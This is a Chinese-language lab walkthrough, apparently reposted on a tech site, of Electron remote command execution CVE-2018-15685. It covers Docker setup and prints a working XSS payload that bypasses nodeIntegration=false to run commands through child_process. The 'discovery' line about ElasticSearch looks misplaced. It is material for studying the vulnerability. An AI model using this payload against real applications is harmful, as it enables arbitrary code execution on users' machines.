怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

发布时间:2021-12-29 15:47:36 作者:柒染
来源:亿速云 阅读:468

这篇文章给大家介绍怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

漏洞描述

1.漏洞编号:CVE-2018-15685

2.影响版本:

3.漏洞产生原因:

Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。

Electron在设置了`nodeIntegration=false`的情况下(默认),页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制,导致在用户可执行JavaScript的情况下(如访问第三方页面或APP存在XSS漏洞时),能够执行任意命令。

启动环境:docker-compose up -d

vulnIP:192.168.1.232

环境启动后,访问`http://your-ip:8080`即可看到Electron默认首页。怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

编译APP

执行如下命令编译一个包含漏洞的应用:

```
docker-compose run -e PLATFORM=win64 --rm electron
```

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

其中PLATFORM的值是运行该应用的操作系统,可选项有:`win64`、`win32`、`mac`、`linux`。

编译完成后,再执行如下命令,启动web服务:

```
docker-compose run --rm -p 8080:80 web
```

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

此时,访问`http://your-ip:8080/cve-2018-15685.tar.gz`即可下载编译好的应用。

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

漏洞发现

关注ElasticSearch的版本

漏洞利用

在本地打开应用:

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

点击提交,输入框中的内容将会显示在应用中,显然这里存在一处XSS漏洞。

我们提交`<img src=1 onerror="require('child_process').exec('calc.exe')">`,发现没有任何反馈,原因就是`nodeIntegration=false`。

此时,提交POC(Windows):

```

<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">

```

可见,calc.exe已成功弹出:

怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685

关于怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

推荐阅读:
  1. 详解Electron如何整合React使用搭建开发环境
  2. Windows下支持自动更新的Electron应用脚手架的方法

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

electron cve-2018-15685 webpreferences

上一篇:Java内存模型的规定是什么

下一篇:域名解析中TTL指的是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》